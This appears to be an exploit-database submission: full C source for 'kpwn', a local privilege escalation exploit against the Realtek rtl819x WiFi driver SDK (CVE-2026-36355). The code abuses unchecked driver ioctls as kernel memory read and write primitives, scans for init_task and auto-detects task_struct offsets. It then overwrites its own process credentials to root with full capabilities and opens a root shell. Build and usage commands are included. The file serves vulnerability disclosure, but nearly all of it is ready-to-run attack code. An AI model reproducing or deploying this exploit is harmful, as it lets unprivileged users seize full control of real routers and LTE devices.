* Exploit Title: Realtek rtl819x - Local Privilege Escalation * Date: 2026-05-03 * Exploit Author: Daniil Gordeev * Vendor Homepage: http://www.realtek.com * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release) * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE) * CVE: CVE-2026-36355 * * kpwn - RTL8192CD kernel LPE exploit * * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem) * in the Realtek rtl819x out-of-tree WiFi driver SDK. * * Runs as ANY unprivileged user — no root needed at any stage. * Auto-detects task_struct offsets from init_task. * * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc. * * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c * Usage: /tmp/kpwn (any user, GID 3003/inet on paranoid kernels) */ #include #include #include #include #include #include #include #include #include #define IOCTL_WRITE 0x89F5 /* SIOCDEVPRIVATE+5: write_mem */ #define IOCTL_READ 0x89F6 /* SIOCDEVPRIVATE+6: read_mem */ /* kernel .data scan range for init_task (ARM, no KASLR) */ #define DATA_SCAN_START 0xC0800000 #define DATA_SCAN_END 0xC1000000 static int sockfd = -1; static int nioctls = 0; static char ifname[IFNAMSIZ]; /* ---- kernel R/W primitives ---- */ static int kread(unsigned long addr, void *out, int ndw) { struct iwreq wrq; char buf[256]; if (ndw > 32) ndw = 32; snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw); memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.data.pointer = buf; wrq.u.data.length = strlen(buf) + 1; if (ioctl(sockfd, IOCTL_READ, &wrq) < 0) return -1; nioctls++; int n = wrq.u.data.length; if (n > 0 && out) memcpy(out, buf, n > 128 ? 128 : n); return n; } static unsigned int kread32(unsigned long addr) { unsigned int v = 0; kread(addr, &v, 1); return v; } static int kfill(unsigned long addr, int ndw, unsigned int val) { struct iwreq wrq; char buf[256]; snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val); memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.data.pointer = buf; wrq.u.data.length = strlen(buf) + 1; if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0) return -1; nioctls++; return 0; } /* ---- find vulnerable interface ---- */ static int find_interface(void) { DIR *d = opendir("/sys/class/net"); if (!d) return -1; struct dirent *e; unsigned int probe; while ((e = readdir(d))) { if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0) continue; strncpy(ifname, e->d_name, IFNAMSIZ - 1); probe = 0; if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) { closedir(d); return 0; } } closedir(d); return -1; } /* ---- resolve init_task ---- */ static unsigned long scan_for_init_task(void) { /* * Brute-force: scan kernel .data for init_task.comm = "swapper". * Validate by checking cred pointer (must dereference to uid=0, gid=0). * * The returned base doesn't need to be exact — detect_offsets finds * all field positions relative to the base, and the math in find_task * and the overwrite phase uses (base + offset) pairs where any constant * shift cancels out. We just need "swapper" to land within the * detect_offsets search window (0x200-0x5F0 from returned base). */ unsigned char buf[128]; unsigned long addr; printf("[*] Scanning .data for init_task...\n"); for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) { if (kread(addr, buf, 32) <= 0) continue; int j; for (j = 0; j <= 128 - 7; j += 4) { if (memcmp(buf + j, "swapper", 7) != 0) continue; unsigned long comm_addr = addr + j; /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */ unsigned int cred_ptr; if (kread(comm_addr - 4, &cred_ptr, 1) <= 0) continue; if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF) continue; unsigned int chk[3]; if (kread(cred_ptr, chk, 3) <= 0) continue; if (chk[0] < 1 || chk[0] >= 10000) /* usage refcount */ continue; if (chk[1] != 0 || chk[2] != 0) /* uid=0, gid=0 */ continue; /* * Return comm_addr - 0x400 as base. This places comm at * offset 0x400 in the detect_offsets window (well within * the 0x200-0x5F0 search range). The base doesn't need * to be the true struct start — all offset math cancels. */ unsigned long base = comm_addr - 0x400; printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base); return base; } } return 0; } static unsigned long resolve_init_task(void) { return scan_for_init_task(); } /* ---- auto-detect task_struct layout ---- */ struct offsets { unsigned long tasks, pid, cred, comm; }; static int detect_offsets(unsigned long init, struct offsets *o) { unsigned char data[0x600]; int i; /* bulk-read init_task (12 reads, 128 bytes each) */ for (i = 0; i < 0x600; i += 128) if (kread(init + i, data + i, 32) <= 0) { printf("[-] Read init_task+0x%x failed\n", i); return -1; } /* comm: find "swapper" string — unique, most reliable anchor */ o->comm = 0; for (i = 0x200; i < 0x5F0; i += 4) if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; } if (!o->comm) { printf("[-] 'swapper' not found in init_task\n"); return -1; } /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */ o->cred = 0; for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) { unsigned int val = *(unsigned int *)(data + i); if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) { unsigned int chk[3]; if (kread(val, chk, 3) > 0 && chk[0] >= 1 && chk[0] < 10000 && chk[1] == 0 && chk[2] == 0) { o->cred = i; break; } } } if (!o->cred) { printf("[-] Cred pointer not found near comm\n"); return -1; } /* tasks: non-self-referencing list_head with valid chain and printable comm at next */ o->tasks = 0; for (i = 0x100; i < 0x300; i += 4) { unsigned int next = *(unsigned int *)(data + i); unsigned int prev = *(unsigned int *)(data + i + 4); if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue; if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue; if (next == (unsigned int)(init + i)) continue; unsigned int nn = kread32(next); if ((nn & 0xC0000000) != 0xC0000000) continue; unsigned long next_base = (unsigned long)next - i; char tc[8] = {0}; if (kread(next_base + o->comm, tc, 2) > 0 && tc[0] >= 0x20 && tc[0] < 0x7F) { o->tasks = i; break; } } if (!o->tasks) { printf("[-] Tasks list_head not found\n"); return -1; } /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */ o->pid = 0; unsigned int tasks_next = *(unsigned int *)(data + o->tasks); unsigned long first_base = (unsigned long)tasks_next - o->tasks; unsigned int second_ptr = kread32(tasks_next); unsigned long second_base = (unsigned long)second_ptr - o->tasks; for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) { if (*(unsigned int *)(data + i) != 0) continue; if (*(unsigned int *)(data + i + 4) != 0) continue; /* pid=0 AND tgid=0 */ unsigned int p1 = kread32(first_base + i); if (p1 == 0 || p1 >= 32768) continue; unsigned int p2 = kread32(second_base + i); if (p2 == 0 || p2 >= 32768) continue; if (p1 == p2) continue; o->pid = i; break; } if (!o->pid) { printf("[-] PID offset not found\n"); return -1; } return 0; } /* ---- walk task list backward (newest first, 1 ioctl per task) ---- */ static unsigned long find_task(unsigned long init, struct offsets *o, pid_t pid, int *walked) { unsigned long head = init + o->tasks; unsigned int buf[32]; unsigned long cur; int batch = 0; int span = 0; *walked = 0; /* if pid and tasks fit in one 32-dword read, batch them */ if (o->pid > o->tasks) { span = (o->pid - o->tasks) / 4 + 1; if (span <= 32) batch = 1; } /* walk backward: tasks.prev (offset +4) points to newest task */ cur = kread32(head + 4); for (int i = 0; i < 512; i++) { if (cur == head || cur == 0) break; unsigned long base = cur - o->tasks; unsigned int p; unsigned long prev; if (batch) { /* single read gets tasks.next, tasks.prev, and pid */ if (kread(cur, buf, span) <= 0) break; prev = buf[1]; /* tasks.prev = next older task */ p = buf[(o->pid - o->tasks) / 4]; } else { /* fallback: two individual reads */ p = kread32(base + o->pid); prev = kread32(cur + 4); } (*walked)++; if (p == (unsigned int)pid) return base; cur = prev; } return 0; } /* ---- main ---- */ int main(void) { uid_t orig_uid = getuid(); gid_t orig_gid = getgid(); pid_t pid = getpid(); printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n"); printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid); /* socket */ printf("[*] Creating socket...\n"); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { printf("[-] socket: %s\n", strerror(errno)); if (errno == EACCES) printf("[-] Need GID 3003 (inet) on paranoid kernels\n"); return 1; } /* find vulnerable interface */ printf("[*] Scanning interfaces...\n"); if (find_interface() < 0) { printf("[-] No rtl819x interface found\n"); return 1; } printf("[+] %s — read primitive confirmed\n", ifname); /* resolve init_task */ printf("[*] Resolving init_task...\n"); unsigned long init = resolve_init_task(); if (!init) { printf("[-] init_task not found\n"); return 1; } printf("[+] init_task @ 0x%08lx\n", init); /* auto-detect offsets */ printf("[*] Detecting task_struct layout...\n"); struct offsets o; if (detect_offsets(init, &o) < 0) return 1; printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n", o.comm, o.cred, o.tasks, o.pid); /* find our task_struct */ printf("[*] Searching for pid %d...\n", pid); int walked = 0; unsigned long task = find_task(init, &o, pid, &walked); if (!task) { printf("[-] pid %d not found (%d tasks walked)\n", pid, walked); return 1; } /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */ unsigned int info[5]; char *comm; unsigned long cred; unsigned int k_uid, k_gid; kread(task + o.cred, info, 5); /* cred ptr + 16 bytes of comm */ cred = info[0]; comm = (char *)&info[1]; unsigned int uids[2]; kread(cred + 0x04, uids, 2); /* uid + gid */ k_uid = uids[0]; k_gid = uids[1]; printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked); printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid); if (k_uid != orig_uid) { printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid); return 1; } /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */ printf("[*] Overwriting credentials...\n"); kfill(cred + 0x04, 9, 0); /* uid..fsgid + securebits = 0 */ kfill(cred + 0x28, 8, 0xFFFFFFFF); /* cap_{inheritable,permitted,effective,bset} = full */ if (getuid() != 0) { printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid()); return 1; } printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n", getuid(), geteuid(), getgid(), getegid()); printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls); execl("/bin/sh", "sh", NULL); printf("[-] execl: %s\n", strerror(errno)); return 1; }